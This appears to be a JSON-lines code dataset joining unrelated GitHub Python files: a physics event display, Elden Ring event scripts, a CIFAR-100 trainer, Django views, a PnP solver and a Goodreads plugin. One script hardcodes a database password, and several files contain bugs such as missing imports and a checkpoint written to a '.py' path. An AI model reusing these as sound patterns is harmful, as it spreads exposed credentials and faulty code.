recoBase\nfrom pyqtgraph.Qt import QtGui, QtCore\nfrom ROOT import evd\nimport pyqtgraph as pg\n\nfrom datatypes.track import polyLine\n\n\nclass mctrack(recoBase):\n\n def __init__(self, geom):\n super(mctrack, self).__init__()\n self._productName = 'mctrack'\n self._process = evd.DrawMCTrack(geom.getGeometryCore(), geom.getDetectorProperties(), geom.getDetectorClocks())\n self.init()\n\n def drawObjects(self, view_manager, on_both_tpcs=False):\n geom = view_manager._geometry\n\n for view in view_manager.getViewPorts():\n self._drawnObjects.append([])\n tracks = self._process.getDataByPlane(view.plane())\n\n for i in range(len(tracks)):\n track = tracks[i]\n # construct a polygon for this track:\n points = []\n # Remeber - everything is in cm, but the display is in\n # wire/time!\n for i, pair in enumerate(track.track()):\n x = pair.first / geom.wire2cm()\n y = pair.second / geom.time2cm()\n\n # If odd TPC, shift this piece of the track up\n if track.tpc()[i] % 2:\n y += 2 * geom.triggerOffset()\n y += geom.cathodeGap()\n\n points.append(QtCore.QPointF(x, y))\n\n if len(points) == 0:\n continue\n\n #print ('MCTrack pdg', track.pdg())\n\n origin = track.origin()\n if (origin == 1): # neutrino origin\n color = (128,128,128) # Gray\n else:\n color = (0,0,0) # Black\n\n thisPoly = polyLine(points, color)\n\n time = track.time() - geom.getDetectorClocks().TriggerTime()\n thisPoly.setToolTip(f'PDG = {track.pdg()}\\nTime = {time:.4} us\\nEnergy = {track.energy()/1e3:.4} GeV\\nProcess = {track.process()}')\n\n view._view.addItem(thisPoly)\n\n self._drawnObjects[view.plane()].append(thisPoly)\n\n\nfrom datatypes.database import recoBase3D\n\ntry:\n import pyqtgraph.opengl as gl\n import numpy as np\n class mctrack3D(recoBase3D):\n\n def __init__(self):\n super(mctrack3D, self).__init__()\n self._productName = 'mctrack3D'\n self._process = evd.DrawMCTrack3D()\n self.init()\n self._mesh = gl.MeshData()\n\n def toggleMCCosmic(self, toggleValue):\n self._process.SetViewCosmicOption(toggleValue)\n\n def drawObjects(self, view_manager):\n geom = view_manager._geometry\n view = view_manager.getView()\n\n\n tracks = self._process.getData()\n\n\n for track in tracks:\n\n # construct a line for this track:\n points = track.track()\n x = np.zeros(points.size())\n y = np.zeros(points.size())\n z = np.zeros(points.size())\n # x = numpy.ndarray()\n # x = numpy.ndarray()\n i = 0\n for point in points:\n x[i] = point.X()\n y[i] = point.Y()\n z[i] = point.Z()\n i+= 1\n\n pts = np.vstack([x,y,z]).transpose()\n pen = pg.mkPen((255,0,0), width=2)\n origin = track.origin()\n line = gl.GLLinePlotItem(pos=pts,color=(255,255,0,255))\n if (origin == 1): # neutrino origin\n line = gl.GLLinePlotItem(pos=pts,color=(0, 176, 139,255))\n view.addItem(line)\n self._drawnObjects.append(line)\n\n\n # # Just be stupid and try to draw something:\n # cylinderPoints = gl.MeshData.cylinder(2,50,radius=[0,1],length=1)\n # cylinder = gl.GLMeshItem(meshdata=cylinderPoints,drawEdges=False,shader='shaded', glOptions='opaque')\n # cylinder.scale(10,10,10)\n # # cylinder.setGLOptions(\"additive\")\n # self.addItem(cylinder)\n\n\nexcept:\n pass\n\n","repo_name":"TITUS-EVD/gallery-framework","sub_path":"UserDev/EventDisplay/python/datatypes/mctrack.py","file_name":"mctrack.py","file_ext":"py","file_size_in_byte":4069,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"37"} +{"seq_id":"9123100850","text":"\"\"\"\nWest Liurnia (SW) (NE)\n\nlinked:\n0\n82\n\nstrings:\n0: N:\\\\GR\\\\data\\\\Param\\\\event\\\\common_func.emevd\n82: N:\\\\GR\\\\data\\\\Param\\\\event\\\\common_macro.emevd\n166: \n168: \n170: \n172: \n174: \n\"\"\"\n# [COMMON_FUNC]\nfrom .common_func import *\nfrom soulstruct.eldenring.events import *\nfrom soulstruct.eldenring.events.instructions import *\nfrom .entities.m60_33_45_00_entities import *\n\n\n@ContinueOnRest(0)\ndef Constructor():\n \"\"\"Event 0\"\"\"\n CommonFunc_90005880(\n 0,\n flag=1033450800,\n flag_1=1033450805,\n flag_2=1033452800,\n character=Characters.LiurniaTroll,\n item_lot=30250,\n area_id=60,\n block_id=33,\n cc_id=45,\n dd_id=0,\n player_start=1033452805,\n )\n CommonFunc_90005881(\n 0,\n flag=1033450800,\n flag_1=1033450805,\n left_flag=1033452801,\n cancel_flag__right_flag=1033452802,\n message=20300,\n anchor_entity=Assets.AEG099_170_1000,\n area_id=60,\n block_id=33,\n cc_id=45,\n dd_id=0,\n player_start=1033452805,\n )\n CommonFunc_90005882(\n 0,\n flag=1033450800,\n flag_1=1033450805,\n flag_2=1033452800,\n character=Characters.LiurniaTroll,\n flag_3=1033452806,\n character_1=1033455810,\n asset=Assets.AEG099_120_1000,\n owner_entity=Characters.TalkDummy,\n source_entity=1033452810,\n name=904600520,\n animation_id=-1,\n animation_id_1=20005,\n )\n CommonFunc_90005883(0, flag=1033450800, flag_1=1033450805, entity=Assets.AEG099_170_1000)\n CommonFunc_90005885(\n 0,\n flag=1033450800,\n bgm_boss_conv_param_id=0,\n flag_1=1033452806,\n flag_2=1033452807,\n left=0,\n left_1=1,\n )\n Event_1033452200(\n 0,\n character=Characters.Scarab,\n special_effect=12603,\n region=1033452200,\n region_1=1033452201,\n region_2=1033452202,\n )\n CommonFunc_90005300(0, flag=1033450200, character=Characters.Scarab, item_lot=40264, seconds=0.0, left=0)\n\n\n@RestartOnRest(1033452360)\ndef Event_1033452360():\n \"\"\"Event 1033452360\"\"\"\n AND_1.Add(FlagEnabled(1033452800))\n AND_1.Add(PlayerInOwnWorld())\n \n MAIN.Await(AND_1)\n \n DisableCharacter(1033455800)\n DisableAnimations(1033455800)\n AND_1.Add(FlagEnabled(1033450800))\n \n MAIN.Await(AND_1)\n \n Wait(7.0)\n EnableCharacter(1033455800)\n EnableAnimations(1033455800)\n\n\n@ContinueOnRest(1033452200)\ndef Event_1033452200(_, character: uint, special_effect: int, region: uint, region_1: uint, region_2: uint):\n \"\"\"Event 1033452200\"\"\"\n if FlagEnabled(1233450200):\n return\n AND_1.Add(CharacterHasSpecialEffect(character, special_effect))\n AND_1.Add(FlagDisabled(1233450200))\n AND_1.Add(CharacterAlive(character))\n \n MAIN.Await(AND_1)\n \n DisableFlag(1033452201)\n DisableFlag(1033452202)\n WaitFrames(frames=1)\n EnableRandomFlagInRange(flag_range=(1033452201, 1033452202))\n WaitFrames(frames=1)\n GotoIfCharacterInsideRegion(Label.L1, character=character, region=region)\n GotoIfCharacterInsideRegion(Label.L2, character=character, region=region_1)\n GotoIfCharacterInsideRegion(Label.L3, character=character, region=region_2)\n\n # --- Label 1 --- #\n DefineLabel(1)\n SkipLinesIfFlagEnabled(1, 1033452201)\n SkipLines(3)\n Move(character, destination=region_1, destination_type=CoordEntityType.Region, copy_draw_parent=character)\n ForceAnimation(character, 20025, loop=True)\n Goto(Label.L0)\n Move(character, destination=region_2, destination_type=CoordEntityType.Region, copy_draw_parent=character)\n ForceAnimation(character, 20025, loop=True)\n Goto(Label.L0)\n\n # --- Label 2 --- #\n DefineLabel(2)\n SkipLinesIfFlagEnabled(1, 1033452201)\n SkipLines(3)\n Move(character, destination=region, destination_type=CoordEntityType.Region, copy_draw_parent=character)\n ForceAnimation(character, 20025, loop=True)\n Goto(Label.L0)\n Move(character, destination=region_2, destination_type=CoordEntityType.Region, copy_draw_parent=character)\n ForceAnimation(character, 20025, loop=True)\n Goto(Label.L0)\n\n # --- Label 3 --- #\n DefineLabel(3)\n SkipLinesIfFlagEnabled(1, 1033452201)\n SkipLines(3)\n Move(character, destination=region, destination_type=CoordEntityType.Region, copy_draw_parent=character)\n ForceAnimation(character, 20025, loop=True)\n Goto(Label.L0)\n Move(character, destination=region_1, destination_type=CoordEntityType.Region, copy_draw_parent=character)\n ForceAnimation(character, 20025, loop=True)\n Goto(Label.L0)\n\n # --- Label 0 --- #\n DefineLabel(0)\n ReplanAI(character)\n Wait(1.0)\n Restart()\n","repo_name":"Grimrukh/soulstruct","sub_path":"soulstruct/eldenring/events/vanilla/m60_33_45_00.evs.py","file_name":"m60_33_45_00.evs.py","file_ext":"py","file_size_in_byte":4747,"program_lang":"python","lang":"en","doc_type":"code","stars":129,"dataset":"github-code","pt":"37"} +{"seq_id":"9114724193","text":"from __future__ import print_function\n\nimport torch\nimport torch.nn as nn\nimport torch.optim as optim\nimport torch.nn.functional as F\nimport torch.backends.cudnn as cudnn\nimport numpy as np\nimport torchvision\nimport torchvision.transforms as transforms\nfrom torchvision import datasets\nimport os\nimport argparse\nfrom torch.utils.data.sampler import SubsetRandomSampler\n\nparser = argparse.ArgumentParser(description='PyTorch CIFAR100 Training')\nparser.add_argument('--lr', default=0.1, type=float, help='learning rate')\nparser.add_argument('--resume', '-r', action='store_true', help='resume from checkpoint')\nargs = parser.parse_args()\n\ndevice = 'cuda' if torch.cuda.is_available() else 'cpu'\nbest_acc = 0\nstart_epoch = 0\n\n\ntransform_train = transforms.Compose([\n transforms.RandomCrop(32, padding=4),\n transforms.RandomHorizontalFlip(),\n transforms.ToTensor(),\n transforms.Normalize((0.4914, 0.4822, 0.4465), (0.2023, 0.1994, 0.2010)),\n])\n\ntransform_test = transforms.Compose([\n transforms.ToTensor(),\n transforms.Normalize((0.4914, 0.4822, 0.4465), (0.2023, 0.1994, 0.2010)),\n])\n\n\ndef get_train_valid_loader(\n batch_size,\n random_seed,\n valid_size=0.1,\n shuffle=True,\n num_workers=4,\n pin_memory=False):\n normalize = transforms.Normalize(\n mean=[0.4914, 0.4822, 0.4465],\n std=[0.2023, 0.1994, 0.2010],\n )\n valid_transform = transforms.Compose([\n transforms.ToTensor(),\n normalize,\n ])\n train_transform = transforms.Compose([\n transforms.ToTensor(),\n normalize,\n ])\n train_dataset = datasets.CIFAR100(\n root='./data', train=True,\n download=True, transform=train_transform,\n )\n\n valid_dataset = datasets.CIFAR100(\n root='./data', train=True,\n download=True, transform=valid_transform,\n )\n\n num_train = len(train_dataset)\n indices = list(range(num_train))\n split = int(np.floor(valid_size * num_train))\n\n if shuffle:\n np.random.seed(random_seed)\n np.random.shuffle(indices)\n\n train_idx, valid_idx = indices[split:], indices[:split]\n train_sampler = SubsetRandomSampler(train_idx)\n valid_sampler = SubsetRandomSampler(valid_idx)\n\n train_loader = torch.utils.data.DataLoader(\n train_dataset, batch_size=batch_size, sampler=train_sampler,\n num_workers=num_workers, pin_memory=pin_memory,\n )\n valid_loader = torch.utils.data.DataLoader(\n valid_dataset, batch_size=batch_size, sampler=valid_sampler,\n num_workers=num_workers, pin_memory=pin_memory,\n )\n return (train_loader, valid_loader)\n\n\ndef get_test_loader(\n batch_size,\n shuffle=True,\n num_workers=4,\n pin_memory=False):\n normalize = transforms.Normalize(\n mean=[0.485, 0.456, 0.406],\n std=[0.229, 0.224, 0.225],\n )\n transform = transforms.Compose([\n transforms.ToTensor(),\n normalize,\n ])\n\n dataset = datasets.CIFAR100(\n root='./data', train=False,\n download=True, transform=transform,\n )\n\n data_loader = torch.utils.data.DataLoader(\n dataset, batch_size=batch_size, shuffle=shuffle,\n num_workers=num_workers, pin_memory=pin_memory,\n )\n\n return data_loader\nsize = np.random.randint(16,64)\nclass Net(nn.Module):\n\n def __init__(self):\n super(Net, self).__init__()\n self.conv1 = nn.Conv2d(3, size, 5)\n self.pool = nn.MaxPool2d(2, 2)\n self.conv2 = nn.Conv2d(size, 16, 5)\n self.fc1 = nn.Linear(16 * 5 * 5, 256)\n self.fc2 = nn.Linear(256, 128)\n self.fc3 = nn.Linear(128, 100)\n self.sigmoid = nn.Sigmoid()\n\n def forward(self, x):\n x = self.pool(F.relu(self.conv1(x)))\n x = self.pool(F.relu(self.conv2(x)))\n x = x.view(-1, 16 * 5 * 5)\n x = F.relu(self.fc1(x)) # was relu\n x = F.relu(self.fc2(x))\n x = self.fc3(x)\n return x\nnet = Net()\nnet = net.to(device)\nif device == 'cuda':\n net = torch.nn.DataParallel(net)\n cudnn.benchmark = True\n\nif args.resume:\n # Load checkpoint.\n print('==> Resuming from checkpoint..')\n assert os.path.isdir('checkpoint'), 'Error: no checkpoint directory found!'\n checkpoint = torch.load('/Users/nathansun/Desktop/python/quadratic.py')\n net.load_state_dict(checkpoint['net'])\n best_acc = checkpoint['acc']\n start_epoch = checkpoint['epoch']\n\n\n\n\ntrain_loader, valid_loader = get_train_valid_loader(\n 128,\n np.random.seed(0),\n valid_size=0.1,\n shuffle=True,\n num_workers=4,\n pin_memory=False)\nlearning_rate=np.random.uniform(0.1,0.00004)\ncriterion = nn.CrossEntropyLoss()\noptimizer = optim.SGD(net.parameters(), lr=learning_rate, momentum=0.9, weight_decay=5e-4)\n\n# Training\ndef train(epoch):\n print('\\nEpoch: %d' % epoch)\n\n net.train()\n train_loss = 0\n correct = 0\n total = 0\n for batch_idx, (inputs, targets) in enumerate(train_loader):\n inputs, targets = inputs.to(device), targets.to(device)\n optimizer.zero_grad()\n outputs = net(inputs)\n loss = criterion(outputs, targets)\n loss.backward()\n optimizer.step()\n\n train_loss += loss.item()\n _, predicted = outputs.max(1)\n total += targets.size(0)\n correct += predicted.eq(targets).sum().item()\n\n print(batch_idx, len(train_loader), 'Loss: %.3f | Acc: %.3f%% (%d/%d)'\n % (train_loss/(batch_idx+1), 100.*correct/total, correct, total))\n\n\ndef validate(epoch):\n global best_acc\n net.eval()\n test_loss = 0\n correct = 0\n total = 0\n with torch.no_grad():\n for batch_idx, (inputs, targets) in enumerate(valid_loader):\n inputs, targets = inputs.to(device), targets.to(device)\n outputs = net(inputs)\n loss = criterion(outputs, targets)\n\n test_loss += loss.item()\n _, predicted = outputs.max(1)\n total += targets.size(0)\n correct += predicted.eq(targets).sum().item()\n\n print(batch_idx, len(valid_loader), 'Loss: %.3f | Acc: %.3f%% (%d/%d)'\n % (test_loss/(batch_idx+1), 100.*correct/total, correct, total))\n\n # Save checkpoint.\n acc = 100.*correct/total\n if acc > best_acc:\n print('Saving..')\n state = {\n 'net': net.state_dict(),\n 'acc': acc,\n 'epoch': epoch,\n }\n if not os.path.isdir('checkpoint'):\n os.mkdir('checkpoint')\n torch.save(state, '/Users/nathansun/Desktop/python/quadratic.py')\n best_acc = acc\n\ntest_loader = get_test_loader(\n 128,\n shuffle=True,\n num_workers=4,\n pin_memory=False)\ndef test():\n correct =0\n total = 0\n with torch.no_grad():\n for data in test_loader:\n images, labels = data\n outputs = net(images)\n _, predicted = torch.max(outputs.data, 1)\n total += labels.size(0)\n correct += predicted.eq(labels).sum().item()\n print(\"Acc:\" , 100. * correct / total)\n print('Accuracy: %d %%' % (\n 100 * correct / total))\n\n\n\n# Number of epochs:\nx=10\n\n\n\nfor epoch in range(start_epoch, start_epoch+x):\n print(\"learning rate:\", learning_rate,\"channel size: \", size)\n train(epoch)\n validate(epoch)\n learning_rate = np.random.uniform(0.1, 0.00004)\n size = np.random.randint(16, 64)\n #batch = np.random.randint(100, 200)\ntest() #final accuracy: 24%\n","repo_name":"nathan99sun/ECC","sub_path":"CIFARtest.py","file_name":"CIFARtest.py","file_ext":"py","file_size_in_byte":7463,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"27561103448","text":"# Define your item pipelines here\n#\n# Don't forget to add your pipeline to the ITEM_PIPELINES setting\n# See: https://docs.scrapy.org/en/latest/topics/item-pipeline.html\n\n\n# useful for handling different item types with a single interface\nfrom itemadapter import ItemAdapter\nfrom properties.models import PriceProperty\n\nclass ScraperPipeline(object):\n def process_item(self, item, spider):\n PriceProperty.objects.create(\n hotel_name=item['hotel_name'],\n room_type=item['room_type'],\n room_price=item['room_price'],\n )\n return item","repo_name":"nannadao-zz/webspyder-fs","sub_path":"scraper/scraper/pipelines.py","file_name":"pipelines.py","file_ext":"py","file_size_in_byte":586,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"73372881388","text":"from first_time_contribution_tagger import PullRequest\n\n\ndef test_filterGraphqlOutput():\n input = {\n \"number\": 10,\n \"author\": {\"login\": \"some-valid-github-user-name\"},\n \"labels\": {\"nodes\": [{\"name\": \" 0.kind: bug \"}]},\n }\n expectd = PullRequest(number=10, author=\"some-valid-github-user-name\", labels=[\" 0.kind: bug \"])\n test = PullRequest.filterGraphqlOutput(input)\n assert test.number == expectd.number\n assert test.author == expectd.author\n assert test.labels == expectd.labels\n","repo_name":"nix-community/first-time-contribution-tagger","sub_path":"tests/test_filterGraphqlOutput.py","file_name":"test_filterGraphqlOutput.py","file_ext":"py","file_size_in_byte":523,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"37"} +{"seq_id":"73267180266","text":"import psycopg2, sys\nfrom psycopg2.extensions import AsIs\nimport pandas as pd\nimport numpy as np\n\ndef extractsingfamhouse(datadate,featuretype):\n # Extracts property sale data from singfamhouse_'mmddyy' table and save the data to a csv file.\n columns = ['mean_sfno'+datadate,'tot_sfno'+datadate,'num_sfno'+datadate,'mean_sfoo'+datadate,'tot_sfoo'+datadate,'num_sfoo'+datadate,'prc_sfno'+datadate]\n\n singfamhousing = pd.DataFrame(columns=columns)\n\n if featuretype == 'bgs':\n fid = 'geoid10'\n f = open(fid+'.csv','r')\n featureids = f.readlines()\n f.close()\n elif featuretype == 'bgs00':\n fid = 'geoid00'\n f = open(fid+'.csv','r')\n featureids = f.readlines()\n f.close()\n elif featuretype == 'hds':\n fid = 'objectid'\n f = open(fid+'.csv','r')\n featureids = f.readlines()\n f.close()\n else:\n sys.exit('Incorrect feature type')\n\n\n conn = None\n try:\n conn = psycopg2.connect(\"dbname='durham_prop' user='jmcmanus' password='bulldurham'\")\n cur = conn.cursor()\n cur.execute(\"\"\"SELECT %(feature_id)s,\n ROUND(mean_sfno_val::NUMERIC, 2),\n ROUND(tot_sfno_val::NUMERIC, 2), num_sfno,\n ROUND(mean_sfoo_val::NUMERIC, 2),\n ROUND(tot_sfoo_val::NUMERIC, 2), num_sfoo\n FROM %(table_name)s\n ORDER BY %(feature_id)s\"\"\",\n {'table_name': AsIs('singfamhouse_'+featuretype+'_'+datadate), 'feature_id': AsIs(fid)})\n\n rows = np.array(cur.fetchall())\n\n for featureid in featureids:\n index = np.where(rows[:,0] == featureid.strip())\n\n if index[0] >= 0:\n row = rows[index[0]][0]\n if row[3] != None:\n if row[6] == None:\n prc_sfno = '100.0'\n elif row[6] != None:\n prc_sfno = round((float(row[3])/(float(row[6])+float(row[3])))*100.0,2)\n singfamhouse = pd.DataFrame([[row[1],row[2],row[3],row[4],row[5],row[6],prc_sfno]],index=[row[0]],columns=columns)\n elif row[3] == None:\n prc_sfno = 'NaN'\n singfamhouse = pd.DataFrame([['NaN','NaN','NaN',row[4],row[5],row[6],prc_sfno]],index=[row[0]],columns=columns)\n\n singfamhousing = singfamhousing.append(singfamhouse)\n else:\n singfamhouse = pd.DataFrame([['NaN','NaN','NaN','NaN','NaN','NaN','NaN']], index=[featureid.strip()], columns=columns)\n singfamhousing = singfamhousing.append(singfamhouse)\n\n return(singfamhousing)\n\n except (Exception, psycopg2.DatabaseError) as error:\n print(error)\n finally:\n if conn is not None:\n conn.close()\n\nf = open('singfamhouse_hds_100517.csv','w')\nf.write(pd.DataFrame(extractsingfamhouse('100517','hds')).to_csv(index_label='id'))\nf.close()\nf = open('singfamhouse_bgs_100517.csv','w')\nf.write(pd.DataFrame(extractsingfamhouse('100517','bgs')).to_csv(index_label='id'))\nf.close()\nf = open('singfamhouse_bgs_011818.csv','w')\nf.write(pd.DataFrame(extractsingfamhouse('011818','bgs')).to_csv(index_label='id'))\nf.close()\nf = open('singfamhouse_bgs_2001.csv','w')\nf.write(pd.DataFrame(extractsingfamhouse('2001','bgs')).to_csv(index_label='id'))\nf.close()\nf = open('singfamhouse_bgs00_2001.csv','w')\nf.write(pd.DataFrame(extractsingfamhouse('2001','bgs00')).to_csv(index_label='id'))\nf.close()\n","repo_name":"codefordurham/datahub-dw","sub_path":"durham_prop/SingFamHouseExt.py","file_name":"SingFamHouseExt.py","file_ext":"py","file_size_in_byte":3550,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"37"} +{"seq_id":"33515450728","text":"from django.shortcuts import render\nfrom django.views.decorators.http import require_GET, require_POST, require_http_methods\nfrom django.views.decorators.csrf import csrf_exempt\nfrom cloth.models import Cloth\n# Create your views here.\n@require_GET\n@csrf_exempt\ndef home(request):\n\t# context = {'all_Clothes': Cloth.objects.order_by('-created_on')}\n\treturn render(request,'home.html')\n\t'''\n\tDisplay LoggedIn Home page\n\t'''\n\n@require_POST\n@csrf_exempt\ndef weather(request):\n\tprint ('hello')\n\tavg_temp = request.POST.get('avg_temp')\n\tprint(avg_temp)\n\tpairs = request.POST.get('pairs')\n\tprint(pairs)\n\tif(1):\n\t\tx = {'tshirts' : Cloth.objects.filter(types = 5)[:int(pairs)]}\n\t\ty = {'jeans' : Cloth.objects.filter(types = 8)[:int(pairs)]}\n\t\tz = x.copy()\n\t\tz.update(y)\n\t\tprint (z)\n\t# return HttpResponse('ok')\n\t\n\n\t# \tcontext = z\n\treturn redirect(reverse('trip'))\n\n@require_GET\ndef sendAndroidData(request):\n\tpass\n","repo_name":"Nitinkmr/Armarios","sub_path":"account/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":905,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"37"} +{"seq_id":"5085023647","text":"#!/usr/bin/env python\n\nimport numpy as np\nfrom scipy.optimize import least_squares\n\ndef mat2quat(M):\n\n # Qyx refers to the contribution of the y input vector component to\n # the x output vector component. Qyx is therefore the same as\n # M[0,1]. The notation is from the Wikipedia article.\n Qxx, Qyx, Qzx, Qxy, Qyy, Qzy, Qxz, Qyz, Qzz = M.flat\n # Fill only lower half of symmetric matrix\n K = np.array([\n [Qxx - Qyy - Qzz, 0, 0, 0 ],\n [Qyx + Qxy, Qyy - Qxx - Qzz, 0, 0 ],\n [Qzx + Qxz, Qzy + Qyz, Qzz - Qxx - Qyy, 0 ],\n [Qyz - Qzy, Qzx - Qxz, Qxy - Qyx, Qxx + Qyy + Qzz]]\n ) / 3.0\n # Use Hermitian eigenvectors, values for speed\n vals, vecs = np.linalg.eigh(K)\n # Select largest eigenvector, reorder to w,x,y,z quaternion\n q = vecs[[3, 0, 1, 2], np.argmax(vals)]\n # Prefer quaternion with positive w\n # (q * -1 corresponds to same rotation as q)\n if q[0] < 0:\n q *= -1\n\n return q\n\ndef quat2mat(q):\n\n w, x, y, z = q\n Nq = w*w + x*x + y*y + z*z\n if Nq < np.finfo(np.float).eps:\n return np.eye(3)\n s = 2.0/Nq\n X = x*s\n Y = y*s\n Z = z*s\n wX = w*X; wY = w*Y; wZ = w*Z\n xX = x*X; xY = x*Y; xZ = x*Z\n yY = y*Y; yZ = y*Z; zZ = z*Z\n return np.array([[ 1.0-(yY+zZ), xY-wZ, xZ+wY ], [ xY+wZ, 1.0-(xX+zZ), yZ-wX ], [ xZ-wY, yZ+wX, 1.0-(xX+yY) ]])\n\ndef NonLinearOptimization(param, pts1, pts2, K):\n\t\n\trot = quat2mat([param[0], param[1], param[2], param[3]])\n\tcol = param[4:].reshape(3, 1)\n\tP = np.matmul(K, rot)\n\ttemp = np.hstack((np.eye(3), -col))\n\tP = np.matmul(P, temp)\n\n\tresult = 0\n\tfor i in range(0, len(pts1)):\n\t\t\n\t\tdata = pts2[i].reshape(4, 1)\n\t\tresult += (pts1[i][0] - (np.matmul(P[0, :], data))/(np.matmul(P[2, :], data)))**2 + (pts1[i][1] - (np.matmul(P[1, :], data))/(np.matmul(P[2, :], data)))**2\n\n\treturn result\n\ndef NonlinearPnP(imagepts, worldpts, K, pnpR, pnpC):\n\n\tquat = mat2quat(pnpR)\n\tinitial_guess = list(quat.flatten()) + list(pnpC.flatten())\n\tres = least_squares(NonLinearOptimization, x0=np.array(initial_guess), args=(imagepts, worldpts, K))\n\toptimize_matrix = res.x\n\n\tcorrectedR = quat2mat([optimize_matrix[0], optimize_matrix[1], optimize_matrix[2], optimize_matrix[3]])\n\tcorrectedC = optimize_matrix[4:].reshape(3, 1)\n\treturn correctedR, correctedC\n\n","repo_name":"sbrahma0/UMD--Geometric-vision-and-deeplearning","sub_path":"SFM/Code/Part1/NonlinearPnP.py","file_name":"NonlinearPnP.py","file_ext":"py","file_size_in_byte":2406,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"129529698","text":"#!/usr/bin/env python\n# vim:fileencoding=UTF-8:ts=4:sw=4:sta:et:sts=4:ai\nfrom __future__ import (unicode_literals, division, absolute_import,\n print_function)\n\n__license__ = 'GPL v3'\n__copyright__ = '2011, Grant Drake '\n__docformat__ = 'restructuredtext en'\n\nimport socket, re, datetime\nfrom collections import OrderedDict\nfrom threading import Thread\n\nfrom lxml.html import fromstring, tostring\n\nfrom calibre.ebooks.metadata.book.base import Metadata\nfrom calibre.library.comments import sanitize_comments_html\nfrom calibre.utils.cleantext import clean_ascii_chars\n\nimport calibre_plugins.goodreads.config as cfg\n\nclass Worker(Thread): # Get details\n\n '''\n Get book details from Goodreads book page in a separate thread\n '''\n\n def __init__(self, url, result_queue, browser, log, relevance, plugin, timeout=20):\n Thread.__init__(self)\n self.daemon = True\n self.url, self.result_queue = url, result_queue\n self.log, self.timeout = log, timeout\n self.relevance, self.plugin = relevance, plugin\n self.browser = browser.clone_browser()\n self.cover_url = self.goodreads_id = self.isbn = None\n\n def run(self):\n try:\n self.get_details()\n except:\n self.log.exception('get_details failed for url: %r'%self.url)\n\n def get_details(self):\n try:\n self.log.info('Goodreads book url: %r'%self.url)\n raw = self.browser.open_novisit(self.url, timeout=self.timeout).read().strip()\n except Exception as e:\n if callable(getattr(e, 'getcode', None)) and \\\n e.getcode() == 404:\n self.log.error('URL malformed: %r'%self.url)\n return\n attr = getattr(e, 'args', [None])\n attr = attr if attr else [None]\n if isinstance(attr[0], socket.timeout):\n msg = 'Goodreads timed out. Try again later.'\n self.log.error(msg)\n else:\n msg = 'Failed to make details query: %r'%self.url\n self.log.exception(msg)\n return\n\n raw = raw.decode('utf-8', errors='replace')\n #open('c:\\\\goodreads.html', 'wb').write(raw)\n\n if '404 - ' in raw:\n self.log.error('URL malformed: %r'%self.url)\n return\n\n try:\n root = fromstring(clean_ascii_chars(raw))\n except:\n msg = 'Failed to parse goodreads details page: %r'%self.url\n self.log.exception(msg)\n return\n\n try:\n # Look at the <title> attribute for page to make sure that we were actually returned\n # a details page for a book. If the user had specified an invalid ISBN, then the results\n # page will just do a textual search.\n title_node = root.xpath('//title')\n if title_node:\n page_title = title_node[0].text_content().strip()\n if page_title is None or page_title.find('search results for') != -1:\n self.log.error('Failed to see search results in page title: %r'%self.url)\n return\n except:\n msg = 'Failed to read goodreads page title: %r'%self.url\n self.log.exception(msg)\n return\n\n errmsg = root.xpath('//*[@id=\"errorMessage\"]')\n if errmsg:\n msg = 'Failed to parse goodreads details page: %r'%self.url\n msg += tostring(errmsg, method='text', encoding=unicode).strip()\n self.log.error(msg)\n return\n\n self.parse_details(root)\n\n def parse_details(self, root):\n try:\n goodreads_id = self.parse_goodreads_id(self.url)\n except:\n self.log.exception('Error parsing goodreads id for url: %r'%self.url)\n goodreads_id = None\n\n try:\n (title, series, series_index) = self.parse_title_series(root)\n except:\n self.log.exception('Error parsing title and series for url: %r'%self.url)\n title = series = series_index = None\n\n try:\n authors = self.parse_authors(root)\n except:\n self.log.exception('Error parsing authors for url: %r'%self.url)\n authors = []\n\n if not title or not authors or not goodreads_id:\n self.log.error('Could not find title/authors/goodreads id for %r'%self.url)\n self.log.error('Goodreads: %r Title: %r Authors: %r'%(goodreads_id, title,\n authors))\n return\n\n mi = Metadata(title, authors)\n if series:\n mi.series = series\n mi.series_index = series_index\n mi.set_identifier('goodreads', goodreads_id)\n self.goodreads_id = goodreads_id\n\n try:\n isbn = self.parse_isbn(root)\n if isbn:\n self.isbn = mi.isbn = isbn\n except:\n self.log.exception('Error parsing ISBN for url: %r'%self.url)\n\n try:\n mi.rating = self.parse_rating(root)\n except:\n self.log.exception('Error parsing ratings for url: %r'%self.url)\n\n try:\n mi.comments = self.parse_comments(root)\n except:\n self.log.exception('Error parsing comments for url: %r'%self.url)\n\n try:\n self.cover_url = self.parse_cover(root)\n except:\n self.log.exception('Error parsing cover for url: %r'%self.url)\n mi.has_cover = bool(self.cover_url)\n\n try:\n tags = self.parse_tags(root)\n if tags:\n mi.tags = tags\n except:\n self.log.exception('Error parsing tags for url: %r'%self.url)\n\n try:\n mi.publisher, mi.pubdate = self.parse_publisher_and_date(root)\n except:\n self.log.exception('Error parsing publisher and date for url: %r'%self.url)\n\n mi.source_relevance = self.relevance\n\n if self.goodreads_id:\n if self.isbn:\n self.plugin.cache_isbn_to_identifier(self.isbn, self.goodreads_id)\n if self.cover_url:\n self.plugin.cache_identifier_to_cover_url(self.goodreads_id,\n self.cover_url)\n\n self.plugin.clean_downloaded_metadata(mi)\n\n self.result_queue.put(mi)\n\n def parse_goodreads_id(self, url):\n return re.search('/show/(\\d+)', url).groups(0)[0]\n\n def parse_title_series(self, root):\n title_node = root.xpath('//div[@id=\"metacol\"]/h1[@id=\"bookTitle\"]')\n if not title_node:\n return (None, None, None)\n title_text = title_node[0].text_content().strip()\n if title_text.find('(') == -1:\n return (title_text, None, None)\n # Contains a Title and possibly a series. Possible values currently handled:\n # \"Some title (Omnibus)\"\n # \"Some title (#1-3)\"\n # \"Some title (Series #1)\"\n # \"Some title (Series (digital) #1)\"\n # \"Some title (Series #1-5)\"\n # \"Some title (NotSeries #2008 Jan)\"\n # \"Some title (Omnibus) (Series #1)\"\n # \"Some title 